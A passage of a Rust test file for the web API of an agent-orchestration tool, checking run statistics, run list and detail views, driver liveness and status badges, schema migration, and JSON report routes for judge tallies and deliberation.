18503
18504 #[tokio::test]
18505 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
18506 let f = Fixture::start().await;
18507 let stats = f.get("/api/stats").await;
18508 assert_eq!(stats.status, 200);
18509 assert_eq!(stats.json()["totals"]["runs"], 0);
18510 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
18511 assert_eq!(stats.json()["runs_unreadable"], 0);
18512 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
18513 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
18514 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
18515 assert_eq!(stats.json()["repo"], Value::Null);
18516 }
18517
18518 #[tokio::test]
18519 async fn stats_lists_every_repository_with_runs_recorded() {
18520 let f = Fixture::start().await;
18521 write_run_repo(
18522 &f.runs(),
18523 "20260902-140501-a",
18524 RunStatus::Merged,
18525 "/repos/a",
18526 );
18527 write_run_repo(
18528 &f.runs(),
18529 "20260902-140502-b",
18530 RunStatus::Merged,
18531 "/repos/a",
18532 );
18533 write_run_repo(
18534 &f.runs(),
18535 "20260902-140503-c",
18536 RunStatus::Blocked,
18537 "/repos/b",
18538 );
18539
18540 let stats = f.get("/api/stats").await;
18541 assert_eq!(stats.status, 200);
18542 assert_eq!(stats.json()["totals"]["runs"], 3);
18544 assert_eq!(stats.json()["repo"], Value::Null);
18545
18546 let repos = stats.json()["repos"].clone();
18547 let repos = repos.as_array().unwrap();
18548 assert_eq!(repos.len(), 2);
18549 assert_eq!(repos[0]["repo"], "/repos/a");
18551 assert_eq!(repos[0]["name"], "a");
18552 assert_eq!(repos[0]["runs"], 2);
18553 assert_eq!(repos[1]["repo"], "/repos/b");
18554 assert_eq!(repos[1]["runs"], 1);
18555 }
18556
18557 #[tokio::test]
18558 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
18559 let f = Fixture::start().await;
18560 write_run_repo(
18561 &f.runs(),
18562 "20260902-140501-a",
18563 RunStatus::Merged,
18564 "/repos/a",
18565 );
18566 write_run_repo(
18567 &f.runs(),
18568 "20260902-140502-b",
18569 RunStatus::Blocked,
18570 "/repos/b",
18571 );
18572
18573 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
18574 assert_eq!(stats.status, 200);
18575 assert_eq!(stats.json()["totals"]["runs"], 1);
18576 assert_eq!(stats.json()["totals"]["merged"], 1);
18577 assert_eq!(stats.json()["repo"], "/repos/a");
18578 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
18581 assert_eq!(stats.json()["runs_unreadable"], 0);
18584 }
18585
18586 #[tokio::test]
18587 async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
18588 let f = Fixture::start().await;
18589 write_run_repo(
18590 &f.runs(),
18591 "20260902-140501-a",
18592 RunStatus::Merged,
18593 "/repos/a",
18594 );
18595 write_run_repo(
18596 &f.runs(),
18597 "20260902-140502-b",
18598 RunStatus::Merged,
18599 "/repos/b",
18600 );
18601
18602 for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
18603 let json = f.get(uri).await.json();
18604 let daily = json["daily"].as_array().expect("daily is an array");
18605 assert_eq!(daily.len(), 30);
18606 let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
18607 let mut sorted = dates.clone();
18608 sorted.sort();
18609 assert_eq!(dates, sorted);
18610 for d in daily {
18611 assert_eq!(
18612 d["merged"].as_u64().unwrap()
18613 + d["ready"].as_u64().unwrap()
18614 + d["other"].as_u64().unwrap(),
18615 d["runs"].as_u64().unwrap()
18616 );
18617 }
18618 assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
18619 }
18620 }
18621
18622 #[tokio::test]
18623 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
18624 let f = Fixture::start().await;
18625 write_run_repo(
18626 &f.runs(),
18627 "20260902-140501-a",
18628 RunStatus::Merged,
18629 "/repos/a",
18630 );
18631
18632 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
18633 assert_eq!(stats.status, 404);
18634 }
18635
18636 #[tokio::test]
18637 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
18638 let f = Fixture::start().await;
18639 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
18640
18641 let summary = f.get("/api/runs").await.json();
18642 let row = &summary[0];
18643 assert_eq!(row["short"], "a1b2");
18644 assert_eq!(row["status"], "ready");
18645 assert_eq!(row["done"], true);
18646 assert_eq!(row["title"], "Add a web UI");
18647 assert_eq!(row["repo_name"], "magi");
18648 assert_eq!(row["judges"], 3);
18649 assert_eq!(row["winner"], Value::Null);
18650 assert_eq!(row["reviews"], 0);
18651
18652 let detail = f.get("/api/runs/a1b2").await;
18655 assert_eq!(detail.status, 200);
18656 assert_eq!(detail.json()["base_branch"], "main");
18657 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
18658 }
18659
18660 #[tokio::test]
18668 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
18669 let f = Fixture::start().await;
18670
18671 let mut none_run = RunState::new(
18672 PathBuf::from("/repo/magi"),
18673 "main".to_owned(),
18674 "0123456789abcdef".to_owned(),
18675 "Add a web UI".to_owned(),
18676 Config::default(),
18677 );
18678 none_run.id = "20260902-140503-none".to_owned();
18679 none_run.status = RunStatus::Ready;
18680 none_run.merge = Some(crate::run::MergeOutcome {
18681 mode: crate::config::MergeMode::None,
18682 ok: true,
18683 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
18684 empty: false,
18685 });
18686 write_state(&f.runs(), &none_run);
18687
18688 let mut pr_run = RunState::new(
18689 PathBuf::from("/repo/magi"),
18690 "main".to_owned(),
18691 "0123456789abcdef".to_owned(),
18692 "Add a web UI".to_owned(),
18693 Config::default(),
18694 );
18695 pr_run.id = "20260902-140504-prcl".to_owned();
18696 pr_run.status = RunStatus::Ready;
18697 pr_run.merge = Some(crate::run::MergeOutcome {
18698 mode: crate::config::MergeMode::Pr,
18699 ok: false,
18700 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
18701 empty: false,
18702 });
18703 write_state(&f.runs(), &pr_run);
18704
18705 let summary = f.get("/api/runs").await.json();
18706 let rows: std::collections::HashMap<&str, &Value> = summary
18707 .as_array()
18708 .expect("an array")
18709 .iter()
18710 .map(|r| (r["id"].as_str().expect("an id"), r))
18711 .collect();
18712 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
18713 assert_eq!(
18714 rows[none_run.id.as_str()]["unmerged_by_design"],
18715 true,
18716 "a mode-none Ready must be flagged in the list"
18717 );
18718 assert_eq!(
18719 rows[pr_run.id.as_str()]["unmerged_by_design"],
18720 false,
18721 "a Ready reached by a closed pull request is a different case"
18722 );
18723
18724 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
18725 assert_eq!(none_detail["status"], "ready");
18726 assert_eq!(none_detail["unmerged_by_design"], true);
18727
18728 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
18729 assert_eq!(pr_detail["unmerged_by_design"], false);
18730 }
18731
18732 #[tokio::test]
18737 async fn run_core_survives_unavailable_related_stores() {
18738 let home = TempDir::new().unwrap();
18739 let ui = delta_test_ui(home.path());
18740 let state = RunState::new(
18741 PathBuf::from("/repo/magi"),
18742 "main".into(),
18743 "0123456789abcdef".into(),
18744 "Useful core instructions".into(),
18745 Config::default(),
18746 );
18747 let dir = ui.runs.join(&state.id);
18748 std::fs::create_dir_all(&dir).unwrap();
18749 std::fs::write(dir.join("run.json"), serde_json::to_vec(&state).unwrap()).unwrap();
18750 std::fs::write(ui.questions.root(), "unavailable").unwrap();
18751 std::fs::write(ui.queue.root(), "unavailable").unwrap();
18752 let core = run_core(State(ui.clone()), Path(state.id.clone()))
18753 .await
18754 .unwrap()
18755 .0;
18756 assert_eq!(core.state.instruction, state.instruction);
18757 assert_eq!(core.state.updated_at, state.updated_at);
18758 assert!(core.task.is_none());
18759 assert!(run_detail(State(ui), Path(state.id)).await.is_err());
18760 }
18761
18762 #[tokio::test]
18763 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
18764 let f = Fixture::start().await;
18765 let id = "20260902-140502-bbbb";
18769 let mut state = RunState::new(
18770 PathBuf::from("/repo/magi"),
18771 "main".to_owned(),
18772 "0123456789abcdef".to_owned(),
18773 "Add a web UI".to_owned(),
18774 Config::default(),
18775 );
18776 state.id = id.to_owned();
18777 state.status = RunStatus::Judging;
18778 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
18779 let dir = f.runs().join(id);
18780 std::fs::create_dir_all(&dir).expect("run dir");
18781 std::fs::write(
18782 dir.join("run.json"),
18783 serde_json::to_string_pretty(&state).expect("serialize run"),
18784 )
18785 .expect("write run.json");
18786
18787 let cold = f.get(&format!("/api/runs/{id}")).await.json();
18793 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
18794 assert_eq!(cold["live"], "unknown", "{cold}");
18795
18796 write_daemon(f.home.path(), Timestamp::now());
18799 let warm = f.get(&format!("/api/runs/{id}")).await.json();
18800 assert_eq!(warm["live"], "live", "{warm}");
18801 }
18802
18803 #[test]
18804 fn schema_thirteen_loads_through_cli_and_web_without_rewriting() {
18805 let home = tempfile::tempdir().expect("temp home");
18806 let runs = home.path().join("runs");
18807 for origin in [None, Some(crate::run::Origin::queue("legacy-task"))] {
18808 let mut state = RunState::new(
18809 PathBuf::from("/repo/magi"),
18810 "main".to_owned(),
18811 "0123456789abcdef".to_owned(),
18812 "Generated review context, not authored task criteria".to_owned(),
18813 Config::default(),
18814 );
18815 state.origin = origin;
18816 state.status = RunStatus::Blocked;
18817 state.driver_exited = false;
18819 state.gate_ran = true;
18820 let expected = serde_json::to_value(&state).expect("serialize current state");
18821 let mut legacy = expected.clone();
18822 legacy["schema"] = serde_json::json!(13);
18823 legacy.as_object_mut().unwrap().remove("task_instruction");
18824 let dir = runs.join(&state.id);
18825 std::fs::create_dir_all(&dir).expect("run dir");
18826 let path = dir.join("run.json");
18827 let body = serde_json::to_vec_pretty(&legacy).expect("serialize legacy state");
18828 std::fs::write(&path, &body).expect("write legacy run");
18829
18830 for loaded in [
18831 RunState::load_under(&state.id, home.path()).expect("CLI migration"),
18832 read_run(&runs, &state.id).expect("web migration"),
18833 ] {
18834 assert_eq!(loaded.schema, crate::run::SCHEMA);
18835 assert!(loaded.task_instruction.is_none());
18836 assert_eq!(serde_json::to_value(loaded).unwrap(), expected);
18837 }
18838 assert_eq!(runs_unreadable(&runs), 0);
18839 assert_eq!(std::fs::read(&path).unwrap(), body);
18840 }
18841 }
18842
18843 #[tokio::test]
18846 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
18847 let f = Fixture::start().await;
18848 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
18849 let mut state = RunState::new(
18850 PathBuf::from("/repo/magi"),
18851 "main".to_owned(),
18852 "0123456789abcdef".to_owned(),
18853 "Add a web UI".to_owned(),
18854 Config::default(),
18855 );
18856 state.id = id.to_owned();
18857 state.origin = origin;
18858 let mut value = serde_json::to_value(&state).expect("serialize run");
18859 if let Some(schema) = schema {
18860 value["schema"] = serde_json::json!(schema);
18861 value.as_object_mut().unwrap().remove("origin");
18862 }
18863 let dir = f.runs().join(id);
18864 std::fs::create_dir_all(&dir).expect("run dir");
18865 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
18866 };
18867 write(
18868 "20260930-092817-ec34",
18869 Some(crate::run::Origin::from_agent_env(
18870 Some(("4a7b".to_owned(), "chat".to_owned())),
18871 None,
18872 )),
18873 None,
18874 );
18875 write("20260930-092817-0ld1", None, Some(12));
18876
18877 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
18878 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
18879 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
18880
18881 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
18882 assert_eq!(
18883 old["origin_label"], "origin unknown (started before origins were recorded)",
18884 "{old}"
18885 );
18886 assert!(old["origin"].is_null(), "{old}");
18887
18888 let list = f.get("/api/runs").await.json();
18889 let labels: Vec<_> = list
18890 .as_array()
18891 .unwrap()
18892 .iter()
18893 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
18894 .collect();
18895 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
18896 }
18897
18898 #[tokio::test]
18905 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
18906 let f = Fixture::start().await;
18907 let id = "20260922-090000-cccc";
18908 let mut state = RunState::new(
18909 PathBuf::from("/repo/magi"),
18910 "main".to_owned(),
18911 "0123456789abcdef".to_owned(),
18912 "Review only".to_owned(),
18913 Config::default(),
18914 );
18915 state.id = id.to_owned();
18916 state.status = RunStatus::Reviewing;
18917 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
18918 state.driver_pid = Some(std::process::id());
18924 state.driver_started_at = Some(
18925 crate::proc::process_started_at(std::process::id())
18926 .expect("this test process's own start time must be queryable"),
18927 );
18928 let dir = f.runs().join(id);
18929 std::fs::create_dir_all(&dir).expect("run dir");
18930 std::fs::write(
18931 dir.join("run.json"),
18932 serde_json::to_string_pretty(&state).expect("serialize run"),
18933 )
18934 .expect("write run.json");
18935
18936 let detail = f.get(&format!("/api/runs/{id}")).await.json();
18937 assert_eq!(detail["live"], "live", "{detail}");
18938 }
18939
18940 #[tokio::test]
18946 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
18947 let f = Fixture::start().await;
18948 let id = "20260922-090100-dddd";
18949 let mut state = RunState::new(
18950 PathBuf::from("/repo/magi"),
18951 "main".to_owned(),
18952 "0123456789abcdef".to_owned(),
18953 "Review only".to_owned(),
18954 Config::default(),
18955 );
18956 state.id = id.to_owned();
18957 state.status = RunStatus::Reviewing;
18958 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
18959 state.driver_pid = Some(std::process::id());
18964 state.driver_started_at = Some("1".to_owned());
18965 let dir = f.runs().join(id);
18966 std::fs::create_dir_all(&dir).expect("run dir");
18967 std::fs::write(
18968 dir.join("run.json"),
18969 serde_json::to_string_pretty(&state).expect("serialize run"),
18970 )
18971 .expect("write run.json");
18972
18973 let detail = f.get(&format!("/api/runs/{id}")).await.json();
18974 assert_eq!(detail["live"], "dead", "{detail}");
18975 }
18976
18977 #[test]
18981 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
18982 let mk = |id: &str, pid: Option<u32>| {
18983 let mut s = RunState::new(
18984 PathBuf::from("/repo/magi"),
18985 "main".to_owned(),
18986 "0123456789abcdef".to_owned(),
18987 "Add a web UI".to_owned(),
18988 Config::default(),
18989 );
18990 s.id = id.to_owned();
18991 s.driver_pid = pid;
18992 s.driver_started_at = Some("1790000000".to_owned());
18993 s
18994 };
18995 let states = vec![
18996 mk("20260902-140502-aaaa", Some(77)),
18997 mk("20260902-140502-bbbb", Some(77)),
18998 mk("20260902-140502-cccc", Some(77)),
18999 mk("20260902-140502-dddd", None),
19000 ];
19001 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
19002 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
19003 let sup: HashMap<String, String> = [(
19004 "20260902-140502-aaaa".to_owned(),
19005 "20260902-140502-cccc".to_owned(),
19006 )]
19007 .into();
19008
19009 let status_calls = std::cell::Cell::new(0);
19010 let identity_calls = std::cell::Cell::new(0);
19011 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
19012 |_| {
19013 status_calls.set(status_calls.get() + 1);
19014 Some(true)
19015 },
19016 |_| {
19017 identity_calls.set(identity_calls.get() + 1);
19018 Some("1790000000".to_owned())
19019 },
19020 ));
19021 let rows = summarize(
19022 states,
19023 &open,
19024 &claimed,
19025 &sup,
19026 |p| probe.borrow_mut().status(p),
19027 |p| probe.borrow_mut().started_at(p),
19028 );
19029
19030 assert_eq!(status_calls.get(), 1, "one pid, one status query");
19031 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
19032 assert_eq!(rows.len(), 4);
19033 assert!(!rows[0].waiting && rows[1].waiting);
19034 assert_eq!(rows[0].live, crate::run::Liveness::Live);
19035 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
19036 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
19037 assert_eq!(rows[1].superseded_by, None);
19038 }
19039
19040 #[test]
19041 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
19042 let mut state = RunState::new(
19043 PathBuf::from("/repo/magi"),
19044 "main".to_owned(),
19045 "0123456789abcdef".to_owned(),
19046 "Review only".to_owned(),
19047 Config::default(),
19048 );
19049 state.id = "20260922-090200-dead".to_owned();
19050 state.status = RunStatus::Reviewing;
19051 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
19052 .expect("serialize list row");
19053 assert_eq!(row["status"], "reviewing");
19054 assert_eq!(row["display_status"], "stale");
19055 assert_eq!(row["live"], "dead", "{row}");
19056 assert!(!row["done"].as_bool().unwrap());
19057 }
19058
19059 #[test]
19060 fn run_display_status_distinguishes_park_crash_and_owner_wait() {
19061 use crate::run::Liveness::{Dead, Live, Unknown};
19062 let mut state = RunState::new(
19063 PathBuf::from("/repo/magi"),
19064 "main".to_owned(),
19065 "abc".to_owned(),
19066 "Review only".to_owned(),
19067 Config::default(),
19068 );
19069 for (status, parked, node, waiting, live, expected) in [
19070 (
19071 RunStatus::Judging,
19072 true,
19073 "github-text",
19074 false,
19075 Dead,
19076 "parked",
19077 ),
19078 (RunStatus::Judging, false, "park", false, Dead, "stale"),
19079 (RunStatus::Judging, false, "judge", false, Dead, "stale"),
19080 (
19081 RunStatus::Judging,
19082 true,
19083 "github-text",
19084 true,
19085 Dead,
19086 "waiting",
19087 ),
19088 (
19089 RunStatus::Judging,
19090 false,
19091 "github-text",
19092 true,
19093 Dead,
19094 "waiting",
19095 ),
19096 (
19097 RunStatus::Judging,
19098 false,
19099 "github-text",
19100 false,
19101 Dead,
19102 "stale",
19103 ),
19104 (RunStatus::Judging, false, "resume", false, Dead, "stale"),
19105 (RunStatus::Judging, true, "park", false, Live, "judging"),
19106 (RunStatus::Judging, true, "park", false, Unknown, "judging"),
19107 (RunStatus::Merged, true, "park", false, Dead, "merged"),
19108 (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
19109 (
19110 RunStatus::Blocked,
19111 true,
19112 "github-text",
19113 true,
19114 Dead,
19115 "waiting",
19116 ),
19117 ] {
19118 state.status = status;
19119 state.parked = parked;
19120 state.events.clear();
19121 state.event(
19122 "park",
19123 "an earlier park does not determine the latest state",
19124 );
19125 state.event(node, "message is not used for classification");
19126 let summary = RunSummary::of(&state, waiting, live);
19127 let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
19128 assert_eq!(
19129 summary.display_status, expected,
19130 "{status:?}/{node}/{live:?}"
19131 );
19132 assert_eq!(detail.display_status, summary.display_status);
19133 assert_eq!(detail.waiting, summary.waiting);
19134 }
19135 state.status = RunStatus::Judging;
19136 state.parked = false;
19137 state.events.clear();
19138 assert_eq!(run_display_status(&state, false, Dead), "stale");
19139 }
19140
19141 #[test]
19142 fn badge_status_prefers_superseded_then_stale_and_spares_live_and_terminal() {
19143 use crate::run::Liveness::{Dead, Live, Unknown};
19144 let mut state = RunState::new(
19145 PathBuf::from("/repo/magi"),
19146 "main".to_owned(),
19147 "abc".to_owned(),
19148 "Badge".to_owned(),
19149 Config::default(),
19150 );
19151 for (status, waiting, live, superseded, expected) in [
19152 (RunStatus::Gating, false, Dead, false, "stale"),
19153 (RunStatus::Gating, false, Dead, true, "superseded"),
19154 (RunStatus::Gating, false, Unknown, true, "superseded"),
19155 (RunStatus::Gating, true, Dead, true, "superseded"),
19156 (RunStatus::Gating, true, Dead, false, "waiting"),
19157 (RunStatus::Gating, false, Unknown, false, "gating"),
19158 (RunStatus::Gating, false, Live, true, "gating"),
19159 (RunStatus::Gating, true, Live, true, "waiting"),
19160 (RunStatus::Merged, false, Dead, true, "merged"),
19161 (RunStatus::Blocked, false, Dead, true, "blocked"),
19162 ] {
19163 state.status = status;
19164 let display = run_display_status(&state, waiting, live);
19165 assert_eq!(
19166 run_badge_status(&state, &display, live, superseded),
19167 expected,
19168 "{status:?}/{live:?}/superseded={superseded}"
19169 );
19170 }
19171 }
19172
19173 #[test]
19174 fn summarize_and_detail_expose_badge_status() {
19175 use crate::run::Liveness::Dead;
19176 let mut state = RunState::new(
19177 PathBuf::from("/repo/magi"),
19178 "main".to_owned(),
19179 "abc".to_owned(),
19180 "Badge".to_owned(),
19181 Config::default(),
19182 );
19183 state.status = RunStatus::Gating;
19184 let none = HashSet::new();
19185 let id = state.id.clone();
19186 let mut by = HashMap::new();
19187 let rows = summarize(
19188 [state.clone()],
19189 &none,
19190 &none,
19191 &by,
19192 |_| Some(false),
19193 |_| None,
19194 );
19195 assert_eq!(rows[0].badge_status, rows[0].display_status);
19197 by.insert(id, "20260901-000000-913b".to_owned());
19198 let detail = RunDetailView::of(
19199 state.clone(),
19200 false,
19201 Dead,
19202 Some("913b".to_owned()),
19203 None,
19204 None,
19205 );
19206 assert_eq!(detail.badge_status, "superseded");
19207 let json = serde_json::to_value(&detail).unwrap();
19208 assert_eq!(json["badge_status"], "superseded");
19209 let detail = RunDetailView::of(state, false, Dead, None, None, None);
19210 assert_eq!(detail.badge_status, "stale");
19211 }
19212
19213 #[tokio::test]
19214 async fn run_display_status_routes_share_the_open_question_store() {
19215 let f = Fixture::start().await;
19216 let id = "20260922-090200-abcd";
19217 write_run(&f.runs(), id, RunStatus::Judging);
19218 let mut state = read_run(&f.runs(), id).unwrap();
19219 state.parked = true;
19220 state.driver_exited = true;
19221 state.event("github-text", "waiting for the owner");
19222 state.save_under(f.home.path()).unwrap();
19223 let mut task = Task::new(
19224 "resumed task".to_owned(),
19225 "do it".to_owned(),
19226 PathBuf::from("/repo"),
19227 Source::Human,
19228 );
19229 task.runs = vec![id.to_owned(), id.to_owned()];
19230 f.queue().put(&mut task).unwrap();
19231 let store = f.questions();
19232 let mut q = Question::new(
19233 id.to_owned(),
19234 "github-text".to_owned(),
19235 "owner".to_owned(),
19236 "Approve the text?".to_owned(),
19237 String::new(),
19238 Vec::new(),
19239 );
19240 store.put(&mut q).unwrap();
19241 for expected in ["waiting", "parked"] {
19242 let list = f.get("/api/runs").await.json();
19243 let detail = f.get(&format!("/api/runs/{id}")).await.json();
19244 assert_eq!(list[0]["display_status"], expected);
19245 assert_eq!(detail["display_status"], expected);
19246 assert_eq!(detail["waiting"], list[0]["waiting"]);
19247 assert_eq!(list[0]["badge_status"], expected);
19248 assert_eq!(detail["badge_status"], expected);
19249 assert!(list[0]["superseded_by"].is_null());
19250 assert!(detail["superseded_by"].is_null());
19251 let task_detail = f.get(&format!("/api/queue/{}", task.id)).await.json();
19252 let history = task_detail["history"].as_array().unwrap();
19253 assert_eq!(history.len(), 2);
19254 assert!(history[0]["badge"].is_null());
19255 assert_eq!(history[1]["badge"], expected);
19256 q.status = ask::QuestionStatus::Answered;
19257 store.put(&mut q).unwrap();
19258 }
19259 }
19260
19261 #[tokio::test]
19262 async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
19263 let f = Fixture::start().await;
19264 let id = "20260922-090200-abcd";
19265 write_run(&f.runs(), id, RunStatus::Judging);
19266 let mut state = read_run(&f.runs(), id).unwrap();
19267 state.parked = true;
19268 state.driver_exited = true;
19269 state.event("park", "stopped at a node boundary");
19270 state.save_under(f.home.path()).unwrap();
19271
19272 for expected in ["parked", "stale"] {
19273 let list = f.get("/api/runs").await.json();
19274 let detail = f.get(&format!("/api/runs/{id}")).await.json();
19275 assert_eq!(list[0]["live"], "dead");
19276 assert_eq!(list[0]["display_status"], expected);
19277 assert_eq!(detail["display_status"], expected);
19278 state.parked = false;
19281 state.save_under(f.home.path()).unwrap();
19282 }
19283 }
19284
19285 #[tokio::test]
19286 async fn the_run_list_is_newest_first_and_honours_a_limit() {
19287 let f = Fixture::start().await;
19288 for id in [
19289 "20260902-140501-aaaa",
19290 "20260902-140502-bbbb",
19291 "20260902-140503-cccc",
19292 ] {
19293 write_run(&f.runs(), id, RunStatus::Merged);
19294 }
19295
19296 let all = f.get("/api/runs").await.json();
19297 let capped = f.get("/api/runs?limit=2").await.json();
19298
19299 assert_eq!(all[0]["id"], "20260902-140503-cccc");
19300 assert_eq!(all.as_array().map(Vec::len), Some(3));
19301 assert_eq!(capped.as_array().map(Vec::len), Some(2));
19302 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
19303 }
19304
19305 #[tokio::test]
19306 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
19307 let f = Fixture::start().await;
19308 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
19309
19310 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
19311
19312 assert_eq!(res.status, 200);
19313 assert!(
19314 res.headers
19315 .contains("content-type: text/plain; charset=utf-8"),
19316 "a browser must render it, not download it: {}",
19317 res.headers
19318 );
19319 assert!(
19323 res.body.contains("20260902-140501-a1b2"),
19324 "the report is about the run that was asked for: {}",
19325 res.body
19326 );
19327 }
19328
19329 #[tokio::test]
19330 async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
19331 crate::run::pin_test_home();
19333 let f = Fixture::start().await;
19334 let id = "20260902-140501-a1b2";
19335 write_run(&f.runs(), id, RunStatus::Stalled);
19336 let path = f.runs().join(id).join("run.json");
19339 let mut v: serde_json::Value =
19340 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
19341 v["tally"] = serde_json::json!({
19342 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
19343 "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
19344 "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
19345 "met_quorum": false, "rankings": 1
19346 });
19347 v["reviews"] = serde_json::json!([{
19348 "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
19349 "e2e_deferred": true,
19350 "reviews": [{"reviewer": 1, "agent": "a", "findings": [
19351 {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
19352 ]}]
19353 }]);
19354 std::fs::write(&path, v.to_string()).unwrap();
19355 write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
19356 std::fs::write(
19357 f.runs().join("20260902-140502-dead").join("run.json"),
19358 "{not json",
19359 )
19360 .unwrap();
19361
19362 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
19363
19364 assert_eq!(res.status, 200, "{}", res.body);
19365 assert!(res.headers.contains("content-type: application/json"));
19366 let j = res.json();
19367 assert_eq!(j["schema"], 1);
19368 assert_eq!(j["header"]["id"], id);
19369 assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
19370 let kinds: Vec<&str> = j["sections"]
19371 .as_array()
19372 .unwrap()
19373 .iter()
19374 .map(|s| s["kind"].as_str().unwrap())
19375 .collect();
19376 assert_eq!(kinds, ["candidates", "tally", "review"]);
19377 let tally = &j["sections"][1]["tally"];
19378 assert_eq!(
19379 (tally["decided"].clone(), tally["provisional"].clone()),
19380 (false.into(), true.into())
19381 );
19382 let round = &j["sections"][2]["rounds"][0];
19383 assert_eq!(round["e2e"]["state"], "deferred");
19384 assert_eq!(round["findings"][0]["severity"], "major");
19385 assert_eq!(round["findings"][0]["blocking"], true);
19386 assert_eq!(round["findings"][0]["state"], "open");
19387
19388 assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
19390
19391 let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
19393 assert_ne!(bad.status, 200, "{}", bad.body);
19394 assert_eq!(
19395 bad.status,
19396 f.get("/api/runs/20260902-140502-dead/report").await.status
19397 );
19398 assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
19399 assert_eq!(
19400 f.get("/api/runs/20260902-999999-ffff/report.json")
19401 .await
19402 .status,
19403 404
19404 );
19405 }
19406
19407 #[tokio::test]
19408 async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
19409 crate::run::pin_test_home();
19410 let f = Fixture::start().await;
19411 let id = "20260902-140503-delib";
19412 write_run(&f.runs(), id, RunStatus::Merged);
19413 let path = f.runs().join(id).join("run.json");
19414 let mut v: serde_json::Value =
19415 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
19416 v["judgements"] = serde_json::json!([
19417 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
19418 ]);
19419 v["tally"] = serde_json::json!({
19420 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
19421 "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
19422 "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
19423 "met_quorum": true, "rankings": 1
19424 });
19425 v["deliberation"] = serde_json::json!([
19426 {
19427 "round": 1,
19428 "turns": [
19429 {
19430 "judge": 1,
19431 "agent": "judge-1",
19432 "body": "I prefer candidate **A** because it has cleaner tests.",
19433 "tentative": "A"
19434 }
19435 ]
19436 },
19437 {
19438 "round": 2,
19439 "turns": [
19440 {
19441 "judge": 1,
19442 "agent": "judge-1",
19443 "body": "Still thinking, no choice yet.",
19444 "tentative": null
19445 }
19446 ]
19447 }
19448 ]);
19449 std::fs::write(&path, v.to_string()).unwrap();
19450
19451 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
19452 assert_eq!(res.status, 200, "{}", res.body);
19453 let j = res.json();
19454 let judging = j["sections"]
19455 .as_array()
19456 .unwrap()
19457 .iter()
